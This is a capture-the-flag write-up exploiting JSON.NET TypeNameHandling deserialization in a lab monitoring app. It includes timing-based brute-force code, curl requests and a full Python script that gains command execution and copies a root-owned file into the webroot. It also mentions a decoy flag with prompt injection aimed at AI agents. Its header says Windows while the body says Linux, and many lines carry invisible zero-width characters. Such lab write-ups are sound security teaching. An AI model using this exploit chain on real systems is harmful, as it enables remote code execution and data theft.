← Back to Writeups
CUSTOMMediumWeb

Lab 172 — PulseGuard — Insecure Deserialization via JSON.NET TypeNameHandling

XESXOR9/10/20265 min read
#web#custom#medium#application_specific_gadget_ch#decoy_flag_avoidance#file_write_to_webroot_exfiltra#json_net_typenamehandling_type#timing_based_property_discover#windows

Lab 172 — PulseGuard — Insecure Deserialization via JSON.NET TypeNameHandling

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-05-20 | Status: Solved Techniques: application_specific_gadget_chain, decoy_flag_avoidance, file_write_to_webroot_exfiltration, json_net_typenamehandling_type_injection, timing_based_property_discovery

Summary

Task: ASP.NET Core monitoring platform uses Newtonsoft.Json TypeNameHandling on heartbeat API endpoint, accepting polymorphic $type in Metrics field. Solution: inject application-specific SystemDiagnostic type whose ScriptPath property setter executes OS commands during deserialization; discovered via timing-based property brute force with sleep; exfiltrate flag by copying to webroot.

Lab 172 — PulseGuard — Insecure Deserialization via JSON.NET TypeNameHandling — HackAdvisor

Description

PulseGuard is an infrastructure monitoring platform built by SentinelOps that provides real-time server monitoring with agent-based data collection. The platform features a dashboard with uptime metrics, alert management, server inventory, and agent configuration. Registered users can manage monitoring agents that report server health data via a JSON API. The platform tracks CPU, memory, disk, and network metrics across your server fleet, with automated alerting and SLA compliance reporting. Your goal is to find and exploit a vulnerability in the application to read the contents of /root/flag.txt on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An ASP.NET Core 8.0 monitoring platform uses Newtonsoft.Json with TypeNameHandling enabled on its agent heartbeat API. The Metrics field accepts polymorphic types via $type annotation. An application-specific type PulseGuard.Models.SystemDiagnostic has a ScriptPath property whose setter triggers OS command execution during deserialization, enabling RCE.

Analysis

Reconnaissance

The target is an ASP.NET Core 8.0 application behind nginx/1.25.5 running on Linux, using Newtonsoft.Json for JSON serialization. Login with user@test.com / password123 reveals a monitoring dashboard with pages: Dashboard, Alerts, Servers, Agents, Reports, Settings. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flag detection: The HTML source contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with surrounding prompt injection text — this is a honeypot designed to trap automated scanners and AI agents.

Agent API Discovery

The Agents page documents two API endpoints:

  • POST /api/agents/heartbeat — accepts JSON payloads with polymorphic Metrics and Extensions fields, explicitly noting "Newtonsoft.Json with TypeNameHandling for backward compatibility"
  • GET /api/agents/diagnostics — returns system diagnostic info (runs uptime command internally), mentions PulseGuard.Models.SystemDiagnostic ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Agent API keys are visible on the page (e.g., pgk_a1b2c3d4e5f6g7h8i9j0), used via X-Api-Key header.

Confirming TypeNameHandling

Sending $type annotations in the Metrics field confirms TypeNameHandling is active:

  1. Invalid type (System.Windows.Data.ObjectDataProvider, PresentationFramework) → error: "Error resolving type specified in JSON '...'" — confirms type resolution is attempted
  2. Wrong base type ($type: PulseGuard.Models.SystemDiagnostic, PulseGuard at root level) → error: "Type specified in JSON 'PulseGuard.Models.SystemDiagnostic' is not compatible with 'PulseGuard.Models.HeartbeatPayload'" — reveals both internal type names
  3. Correct placement ($type: PulseGuard.Models.SystemDiagnostic, PulseGuard inside Metrics) → 200 OK — type is accepted as a valid polymorphic substitution ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why Standard Gadgets Fail

On .NET Core running on Linux, the standard ysoserial.net gadget chains are unavailable:

  • ObjectDataProvider — requires PresentationFramework (WPF, Windows-only)
  • TextFormattingRunProperties — requires PresentationFramework
  • System.Diagnostics.Process — type resolves but Process.Start() is not called during deserialization (no property setter triggers it)
  • ClaimsIdentity bridge — type resolves but requires a BinaryFormatter inner payload, impractical to generate externally ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The intended path is an application-specific gadget: the SystemDiagnostic model class.

Timing-Based Property Discovery

With the correct type identified but no knowledge of which property triggers command execution, a systematic timing-based brute force was performed:

python
import requests, time

properties = ["Command", "Cmd", "Shell", "Exec", "Run", "Execute",
              "CommandLine", "ShellCommand", "CheckCommand", "DiagnosticCommand",
              "HealthCheckCommand", "Script", "ScriptPath", "ScriptBody",
              "CommandText", "ProcessCommand", "BashCommand", "LinuxCommand", ...]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

for prop in properties:
    metrics = {
        "$type": "PulseGuard.Models.SystemDiagnostic, PulseGuard",
        prop: "sleep 3"
    }
    start = time.time()
    resp = send_heartbeat(metrics)
    elapsed = time.time() - start
    if elapsed > 2:
        print(f"DELAY with {prop}: {elapsed:.1f}s")

Results:

  • Most properties: ~0.2–0.5s response time (no execution)
  • ScriptPath: 3.1s with sleep 3, 5.4s with sleep 5 — confirmed OS command execution during deserialization ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The ScriptPath property setter on SystemDiagnostic passes its value to a shell execution function (likely Process.Start("/bin/bash", "-c " + value) or similar) when the property is set during JSON deserialization.

Solution

Step 1: Login and Obtain Session

bash
curl -c cookies.txt -X POST "$TARGET/account/login" \
  -d "email=user@test.com&password=password123"

Step 2: Copy Flag to Web-Accessible Directory

bash
curl -b cookies.txt -X POST "$TARGET/api/agents/heartbeat" \
  -H "Content-Type: application/json" \
  -H "X-Api-Key: pgk_a1b2c3d4e5f6g7h8i9j0" \
  -d '{
    "AgentId": "agent-web-prod-01",
    "Hostname": "web-prod-01",
    "Timestamp": "2024-11-15T10:30:00Z",
    "Metrics": {
      "$type": "PulseGuard.Models.SystemDiagnostic, PulseGuard",
      "ScriptPath": "cp /root/flag.txt /app/wwwroot/uploads/f.txt"
    },
    "Tags": ["production"]
  }'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Read the Flag

bash
curl "$TARGET/uploads/f.txt"
# → FLAG{REDACTED}

Full Solve Script

python
#!/usr/bin/env python3
"""
Exploit for PulseGuard Lab 172 — JSON.NET TypeNameHandling RCE.
Target: ASP.NET Core 8.0 on Linux with Newtonsoft.Json TypeNameHandling enabled.
Gadget: PulseGuard.Models.SystemDiagnostic.ScriptPath property setter executes
        OS commands during deserialization.
"""
import requests
import urllib3
urllib3.disable_warnings()

TARGET = "https://<instance>.labs.hackadvisor.io"
API_KEY = "pgk_a1b2c3d4e5f6g7h8i9j0"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

s = requests.Session()
s.verify = False

# Step 1: Login
s.post(f"{TARGET}/account/login", data={
    "email": "user@test.com",
    "password": "password123"
})

# Step 2: RCE via TypeNameHandling — copy flag to webroot
headers = {"Content-Type": "application/json", "X-Api-Key": API_KEY}
payload = {
    "AgentId": "agent-web-prod-01",
    "Hostname": "web-prod-01",
    "Timestamp": "2024-11-15T10:30:00Z",
    "Metrics": {
        "$type": "PulseGuard.Models.SystemDiagnostic, PulseGuard",
        "ScriptPath": "cp /root/flag.txt /app/wwwroot/uploads/f.txt"
    },
    "Tags": ["production"]
}
resp = s.post(f"{TARGET}/api/agents/heartbeat", headers=headers, json=payload)
print(f"Heartbeat: {resp.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Read flag
resp = s.get(f"{TARGET}/uploads/f.txt")
print(f"Flag: {resp.text.strip()}")

What Failed

  1. ObjectDataProvider gadget — PresentationFramework assembly not available on .NET Core/Linux
  2. System.Diagnostics.Process as $type — type resolved but Process.Start() not invoked during deserialization
  3. Standard ysoserial.net gadgets — most require Windows/.NET Framework assemblies absent on Linux
  4. ClaimsIdentity bridge gadget — type resolved but generating a valid BinaryFormatter inner payload from Python was impractical
  5. ~40 property names on SystemDiagnostic — Command, Cmd, Shell, Exec, Run, Execute, CommandLine, ShellCommand, CheckCommand, DiagnosticCommand, HealthCheckCommand, Script, BashCommand, etc. — none triggered execution; only ScriptPath worked
  6. Diagnostics endpoint manipulation — the GET /api/agents/diagnostics endpoint always ran its own hardcoded uptime command regardless of heartbeat data ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍